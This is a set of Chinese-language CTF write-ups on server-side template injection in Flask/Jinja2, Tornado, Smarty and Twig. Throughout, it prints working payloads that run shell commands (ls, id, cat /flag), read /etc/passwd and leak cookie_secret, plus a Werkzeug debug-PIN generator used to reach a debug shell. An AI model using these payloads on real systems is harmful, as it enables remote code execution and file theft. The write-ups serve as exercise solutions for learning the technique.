先搬一张大佬的图:

Web_python_template_injection

打开链接发现就一个这东西

懵了,于是购买writeup进行学习:

发现该题是一个利用“Python SSTI”,“404模板注入”的原理

题目类型深度剖析移步大佬的文章:从零学习flask模板注入

方法:

在Python的SSTI中,大部分是依靠基类->子类->危险函数的方式来利用SSTI

__class__  万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   以字符串返回一个类所直接继承的类。
__bases__  以元组的形式返回一个类所直接继承的类。
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表,获取类的所有子类。
__init__  类的初始化方法,所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__  对包含函数全局变量的字典的引用,用于获取function所处空间下可使用的module、方法以及所有变量。

解题步骤:

1、测试是否存在SSTI:

http://111.198.29.45:46675/{{1+2}} 

事实证明存在SSTI

2、访问

http://111.198.29.45:46675/{{[].__class__.__base__.__subclasses__()}}

来查看所有模块

3、os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个(我眼瞎了,不要问我为什么)

4、访问

http://111.198.29.45:46675/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中

5.使用['o'+'s'],可绕过对os字符的过滤,访问

http://111.198.29.45:46675/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}

查看flag文件所在

6、访问

http://111.198.29.45:46675/{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

可得到flag,如图所示

writeup里的另外一种姿势:

另外,里面还有一种更骚的操作:

这里用到了一个工具:tplmap

一个扫描服务器端模板注入漏洞的开源工具 ,需要自取

附上OS文件目录的方法: Python OS 文件/目录方法

BJDCTF-2nd-fake google

界面:

随便输入测试后得到一以下结果,推测是SSTI

F12打开后发现提示果然是SSTI

测试后发现啥都没过滤,于是直接上payload:

payload1:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;ls;cat flag').read()")}}{% endif %}{% endfor %}

payload2:

{{ config.__class__.__init__.__globals__['os'].popen('cat /flag | base64').read()}}

命令执行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

文件操作:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read()}}{% endif %}{% endfor %}

护网杯 2018-easy_tornado

题目界面:

url格式:http://70c4e22b-ffb9-4933-b754-737df58fec82.node3.buuoj.cn/file?filename=/flag.txt&filehash=766846dacf2bd89cde918d880dd30d77

根据提示flag/fllllllllllllag中,hintsmd5(cookie_secret+md5(filename))

观察url后推测出其中的关系filehash=md5(cookie_secret+md5(filename))

也就是说filename有了,只需要拿到cookie_secret再经过md5换算后传入即可得到flag

一种方法,根据已有的filenamefilehash爆破出cookie_secret值,当然这种方法爆破不知道爆破到什么时候去了,随手测试后发现当filenamefilehash不对应的时候有一个error页面

url格式:http://70c4e22b-ffb9-4933-b754-737df58fec82.node3.buuoj.cn/error?msg=Error

测试error?msg={{1}}发现有回显,应该存在模板注入

百度reader发现是Tornado框架中的一个渲染模板

参考:https://xz.aliyun.com/t/2908

通过handler.application可访问整个Tornado

通过{{handler.application.settings}}或者{{handler.settings}}就可获得settings中的cookie_secret

/fllllllllllllagmd5加密后在前面加上cookie_secret再经过md5加密后的值再和/fllllllllllllag传入url中即可得到flag

BJDCTF2020-The mystery of ip

flag.php界面会回显ip,抓包改XFF头,成功伪造,

这里考的是smarty模板注入,

关于smarty的SSTI可以参考https://www.freebuf.com/column/219913.html

拿flag的payload:X-Forwarded-For: {{system('cat /flag')}}

首先在flag.php界面进行测试,{{7*'7'}},返回49,那应该就是Twig模板了,直接给出payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[GYCTF2020]FlaskApp

界面:

可以看到这样界面所拥有的功能,加解密base64,并且输入不当会触发debug模式,也就是说这个debug没关,转到提示界面,html源码中存在一个小hint —> <!-- PIN --->,不出意外应该就是要获得这个PIN码来到debug界面进行命令执行操作了

结果测试在解密界面存在SSTI,既{{7+7}}输出结果14,于是尝试在这里进行命令执行或文件读取,fuzz后发现过滤了挺多东西了,诸如import、popen、system、eval、flag等关键字,但是可以进行文件读取

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

base64编码后:

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignZmxhZy5waHAnLCAncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

传入可以看到/etc/passwd的内容

这时根据题目意思,获取PIN码

原理参考这篇博客:Flask debug 模式 PIN 码生成机制安全性研究笔记

上脚本:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',     # 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb
    'flask.app',    # modname 一般不变就是flask.app
    'Flask',        # getattr(app, "__name__", app.__class__.__name__)  python该值一般为Flask 值一般不变
    '/usr/local/lib/python3.7/site-packages/flask/app.py',   # flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为
]

private_bits = [
    # 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取: print(int('02:42:ae:00:33:f5'.replace(':', ''), 16))
    '2485410345973',
    # 最后一个就是机器的id
    # 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,
    # windows的id获取跟linux也不同。
    # 对于docker机则读取/proc/self/cgroup
    '44547b3a0bae08513cd0bacbd2f23a304505e1051c10f267af9b86649a6e7c89'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

随后得到PIN码,到debug界面用shell执行代码:

得到flag

参考

[CSCCTF 2019 Qual]FlaskLight

常规SSTI,传入search=49后发现存在模板注入,于是打payload

测试后发现传入一些数据后服务器会500,推测后端做了过滤,查阅资料后发现可利用subprocess.Popen执行命令

payload:?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

参考